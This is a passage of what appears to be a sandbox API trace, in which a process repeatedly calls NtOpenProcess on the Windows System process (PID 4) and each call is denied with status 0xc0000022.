[0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.129] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.130] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.131] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.132] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, 